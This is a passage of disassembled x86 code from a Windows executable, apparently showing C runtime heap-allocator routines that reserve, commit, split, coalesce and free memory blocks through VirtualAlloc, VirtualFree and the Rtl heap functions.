		add	eax, 8
		dec	edx
		jnz	short loc_411F2D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_41A150	; VirtualAlloc
		test	eax, eax
		jnz	short loc_411F60
		or	eax, 0FFFFFFFFh
		jmp	loc_411FF3
; ---------------------------------------------------------------------------


loc_411F60:				; CODE XREF: sub_411EFD+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_411FA6
		lea	eax, [edi+10h]


loc_411F6D:				; CODE XREF: sub_411EFD+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_411F6D


loc_411FA6:				; CODE XREF: sub_411EFD+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_411FE3
		or	[eax+4], edi


loc_411FE3:				; CODE XREF: sub_411EFD+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_411FF3:				; CODE XREF: sub_411EFD+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FF8	proc near		; CODE XREF: sub_414008+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_4121A6
		test	bl, 1
		jnz	loc_41219F
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41219F
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41206F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41206F:				; CODE XREF: sub_411FF8+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4120BF
		cmp	ecx, 20h
		jnb	short loc_41209B
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4120BF
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4120BF
; ---------------------------------------------------------------------------


loc_41209B:				; CODE XREF: sub_411FF8+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4120BF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4120BF:				; CODE XREF: sub_411FF8+7Dj
					; sub_411FF8+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41218D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4120F9
		push	3Fh
		pop	edi


loc_4120F9:				; CODE XREF: sub_411FF8+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41217B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_412152
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_412145
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_412145:				; CODE XREF: sub_411FF8+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_412177
; ---------------------------------------------------------------------------


loc_412152:				; CODE XREF: sub_411FF8+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_412168
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_412168:				; CODE XREF: sub_411FF8+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_412177:				; CODE XREF: sub_411FF8+158j
		shr	edx, cl
		or	[eax], edx


loc_41217B:				; CODE XREF: sub_411FF8+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_412190
; ---------------------------------------------------------------------------


loc_41218D:				; CODE XREF: sub_411FF8+E5j
		mov	edx, [ebp+arg_4]


loc_412190:				; CODE XREF: sub_411FF8+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4122E6
; ---------------------------------------------------------------------------


loc_41219F:				; CODE XREF: sub_411FF8+52j
					; sub_411FF8+5Cj
		xor	eax, eax
		jmp	loc_4122E9
; ---------------------------------------------------------------------------


loc_4121A6:				; CODE XREF: sub_411FF8+49j
		jge	loc_4122E6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_4121D1
		push	3Fh
		pop	esi


loc_4121D1:				; CODE XREF: sub_411FF8+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_412260
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4121EA
		push	3Fh
		pop	esi


loc_4121EA:				; CODE XREF: sub_411FF8+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_412239
		cmp	esi, 20h
		jnb	short loc_412215
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_412236
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_412236
; ---------------------------------------------------------------------------


loc_412215:				; CODE XREF: sub_411FF8+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_412236
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_412236:				; CODE XREF: sub_411FF8+214j
					; sub_411FF8+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_412239:				; CODE XREF: sub_411FF8+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_412260
		push	3Fh
		pop	esi


loc_412260:				; CODE XREF: sub_411FF8+1DDj
					; sub_411FF8+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4122DD
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_4122B4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4122A7
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_4122A7:				; CODE XREF: sub_411FF8+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4122D9
; ---------------------------------------------------------------------------


loc_4122B4:				; CODE XREF: sub_411FF8+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4122CA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_4122CA:				; CODE XREF: sub_411FF8+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_4122D9:				; CODE XREF: sub_411FF8+2BAj
		shr	edx, cl
		or	[eax], edx


loc_4122DD:				; CODE XREF: sub_411FF8+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4122E6:				; CODE XREF: sub_411FF8+1A2j
					; sub_411FF8:loc_4121A6j
		push	1
		pop	eax


loc_4122E9:				; CODE XREF: sub_411FF8+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4122EE	proc near		; CODE XREF: sub_41174A+41p
					; sub_4125E6:loc_4127B5p
		cmp	dword_4220B8, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_412302
		mov	esi, offset off_4220A8
		jmp	short loc_41231F
; ---------------------------------------------------------------------------


loc_412302:				; CODE XREF: sub_4122EE+Bj
		push	2020h
		push	0
		push	dword_4BB8E0
		call	dword_41A120	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41242B


loc_41231F:				; CODE XREF: sub_4122EE+12j
		mov	ebp, dword_41A150
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_412414
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_412406
		mov	eax, offset off_4220A8
		cmp	esi, eax
		jnz	short loc_41237E
		cmp	off_4220A8, 0
		jnz	short loc_41236E
		mov	off_4220A8, eax


loc_41236E:				; CODE XREF: sub_4122EE+79j
		cmp	off_4220AC, 0
		jnz	short loc_412393
		mov	off_4220AC, eax
		jmp	short loc_412393
; ---------------------------------------------------------------------------


loc_41237E:				; CODE XREF: sub_4122EE+70j
		mov	[esi], eax
		mov	eax, off_4220AC
		mov	[esi+4], eax
		mov	off_4220AC, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_412393:				; CODE XREF: sub_4122EE+87j
					; sub_4122EE+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_4123B5:				; CODE XREF: sub_4122EE+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_4123B5
		push	ebx
		push	0
		push	edi
		call	sub_40E800
		add	esp, 0Ch


loc_4123DE:				; CODE XREF: sub_4122EE+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_412402
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_4123DE
; ---------------------------------------------------------------------------


loc_412402:				; CODE XREF: sub_4122EE+F7j
		mov	eax, esi
		jmp	short loc_41242D
; ---------------------------------------------------------------------------


loc_412406:				; CODE XREF: sub_4122EE+63j
		push	8000h
		push	0
		push	edi
		call	dword_41A14C	; VirtualFree


loc_412414:				; CODE XREF: sub_4122EE+4Bj
		cmp	esi, offset off_4220A8
		jz	short loc_41242B
		push	esi
		push	0
		push	dword_4BB8E0
		call	dword_41A124	; RtlFreeHeap


loc_41242B:				; CODE XREF: sub_4122EE+2Bj
					; sub_4122EE+12Cj
		xor	eax, eax


loc_41242D:				; CODE XREF: sub_4122EE+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4122EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412432	proc near		; CODE XREF: sub_412488+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_41A14C	; VirtualFree
		cmp	off_4240C8, esi
		jnz	short loc_412457
		mov	eax, [esi+4]
		mov	off_4240C8, eax


loc_412457:				; CODE XREF: sub_412432+1Bj
		cmp	esi, offset off_4220A8
		jz	short loc_41247F
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4BB8E0
		call	dword_41A124	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41247F:				; CODE XREF: sub_412432+2Bj
		or	dword_4220B8, 0FFFFFFFFh
		pop	esi
		retn
sub_412432	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412488	proc near		; CODE XREF: sub_4125A1+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4220AC
		push	edi


loc_412495:				; CODE XREF: sub_412488+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_412533
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_4124AE:				; CODE XREF: sub_412488+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_4124EF
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_41A14C	; VirtualFree
		test	eax, eax
		jz	short loc_4124EF
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4BA2E4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_4124E4
		cmp	eax, edi
		jbe	short loc_4124E7


loc_4124E4:				; CODE XREF: sub_412488+56j
		mov	[esi+0Ch], edi


loc_4124E7:				; CODE XREF: sub_412488+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_4124FC


loc_4124EF:				; CODE XREF: sub_412488+2Cj
					; sub_412488+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_4124AE


loc_4124FC:				; CODE XREF: sub_412488+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_412533
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_412533
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_412513:				; CODE XREF: sub_412488+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_412524
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_412513


loc_412524:				; CODE XREF: sub_412488+8Ej
		cmp	edx, 400h
		jnz	short loc_412533
		push	ecx
		call	sub_412432
		pop	ecx


loc_412533:				; CODE XREF: sub_412488+11j
					; sub_412488+7Dj ...
		cmp	esi, off_4220AC
		jz	short loc_412545
		cmp	[ebp+arg_0], 0
		jg	loc_412495


loc_412545:				; CODE XREF: sub_412488+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412488	endp


; =============== S U B	R O U T	I N E =======================================



sub_41254A	proc near		; CODE XREF: sub_40ECAF+3Ap
					; sub_414008+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4220A8
		push	esi
		mov	ecx, edx


loc_412556:				; CODE XREF: sub_41254A+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_412560
		cmp	eax, [ecx+14h]
		jb	short loc_412568


loc_412560:				; CODE XREF: sub_41254A+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41259D
		jmp	short loc_412556
; ---------------------------------------------------------------------------


loc_412568:				; CODE XREF: sub_41254A+14j
		test	al, 0Fh
		jnz	short loc_41259D
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41259D
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41259D:				; CODE XREF: sub_41254A+1Aj
					; sub_41254A+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41254A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125A1	proc near		; CODE XREF: sub_40ECAF+4Dp
					; sub_414008+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_4125E5
		inc	dword_4BA2E4
		cmp	dword_4BA2E4, 20h
		jnz	short locret_4125E5
		push	10h
		call	sub_412488
		pop	ecx

locret_4125E5:				; CODE XREF: sub_4125A1+2Bj
					; sub_4125A1+3Aj
		retn
sub_4125A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125E6	proc near		; CODE XREF: sub_40E8C0+4Ap
					; sub_414008+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4240C8
		push	edi


loc_4125F4:				; CODE XREF: sub_4125E6+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41269F
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_412659


loc_41261F:				; CODE XREF: sub_4125E6+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_412642
		cmp	[edi+4], ebx
		jbe	short loc_412642
		push	ebx
		push	ecx
		push	eax
		call	sub_4127EE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4126B1
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_412642:				; CODE XREF: sub_4125E6+40j
					; sub_4125E6+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41261F
		jmp	short loc_41265C
; ---------------------------------------------------------------------------


loc_412659:				; CODE XREF: sub_4125E6+37j
		mov	ebx, [ebp+arg_0]


loc_41265C:				; CODE XREF: sub_4125E6+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_4126A2


loc_41266F:				; CODE XREF: sub_4125E6+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41268E
		cmp	[edi+4], ebx
		jbe	short loc_41268E
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_4127EE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4126B1
		mov	[edi+4], ebx


loc_41268E:				; CODE XREF: sub_4125E6+8Dj
					; sub_4125E6+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41266F
		jmp	short loc_4126A2
; ---------------------------------------------------------------------------


loc_41269F:				; CODE XREF: sub_4125E6+14j
		mov	ebx, [ebp+arg_0]


loc_4126A2:				; CODE XREF: sub_4125E6+87j
					; sub_4125E6+B7j
		mov	esi, [esi]
		cmp	esi, off_4240C8
		jz	short loc_4126C1
		jmp	loc_4125F4
; ---------------------------------------------------------------------------


loc_4126B1:				; CODE XREF: sub_4125E6+54j
					; sub_4125E6+A3j
		mov	off_4240C8, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_4127E9
; ---------------------------------------------------------------------------


loc_4126C1:				; CODE XREF: sub_4125E6+C4j
		mov	eax, offset off_4220A8
		mov	edi, eax


loc_4126C8:				; CODE XREF: sub_4125E6+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_4126D4
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_4126E0


loc_4126D4:				; CODE XREF: sub_4125E6+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_4127B5
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126E0:				; CODE XREF: sub_4125E6+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41270F


loc_4126FE:				; CODE XREF: sub_4125E6+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41270F
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4126FE


loc_41270F:				; CODE XREF: sub_4125E6+116j
					; sub_4125E6+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_41A150	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_4127E7
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_40E800
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_412776
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41274C:				; CODE XREF: sub_4125E6+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41274C


loc_412776:				; CODE XREF: sub_4125E6+15Ej
		mov	off_4240C8, edi
		lea	eax, [edi+2018h]


loc_412782:				; CODE XREF: sub_4125E6+1A8j
		cmp	ecx, eax
		jnb	short loc_412792
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_412790
		add	ecx, 8
		jmp	short loc_412782
; ---------------------------------------------------------------------------


loc_412790:				; CODE XREF: sub_4125E6+1A3j
		cmp	ecx, eax


loc_412792:				; CODE XREF: sub_4125E6+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_4127E9
; ---------------------------------------------------------------------------


loc_4127B5:				; CODE XREF: sub_4125E6+F2j
		call	sub_4122EE
		test	eax, eax
		jz	short loc_4127E7
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_4240C8, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_4127E9
; ---------------------------------------------------------------------------


loc_4127E7:				; CODE XREF: sub_4125E6+143j
					; sub_4125E6+1D6j
		xor	eax, eax


loc_4127E9:				; CODE XREF: sub_4125E6+D6j
					; sub_4125E6+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4125E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127EE	proc near		; CODE XREF: sub_4125E6+4Ap
					; sub_4125E6+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_412833
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_412822
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41282B
; ---------------------------------------------------------------------------


loc_412822:				; CODE XREF: sub_4127EE+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41282B:				; CODE XREF: sub_4127EE+32j
		lea	eax, [edi+8]
		jmp	loc_412901
; ---------------------------------------------------------------------------


loc_412833:				; CODE XREF: sub_4127EE+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41283C
		mov	eax, esi


loc_41283C:				; CODE XREF: sub_4127EE+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_412886


loc_412843:				; CODE XREF: sub_4127EE+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_412879
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41284F:				; CODE XREF: sub_4127EE+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_412858
		inc	ebx
		inc	esi
		jmp	short loc_41284F
; ---------------------------------------------------------------------------


loc_412858:				; CODE XREF: sub_4127EE+64j
		cmp	esi, edx
		jnb	short loc_4128AA
		cmp	eax, [ebp+var_4]
		jnz	short loc_412866
		mov	[ecx+4], esi
		jmp	short loc_412872
; ---------------------------------------------------------------------------


loc_412866:				; CODE XREF: sub_4127EE+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41290B


loc_412872:				; CODE XREF: sub_4127EE+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41287E
; ---------------------------------------------------------------------------


loc_412879:				; CODE XREF: sub_4127EE+59j
		movzx	esi, bl
		add	eax, esi


loc_41287E:				; CODE XREF: sub_4127EE+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_412843


loc_412886:				; CODE XREF: sub_4127EE+53j
		lea	esi, [ecx+8]


loc_412889:				; CODE XREF: sub_4127EE+EBj
					; sub_4127EE+F2j
		cmp	esi, edi
		jnb	short loc_41290B
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41290B
		mov	al, [esi]
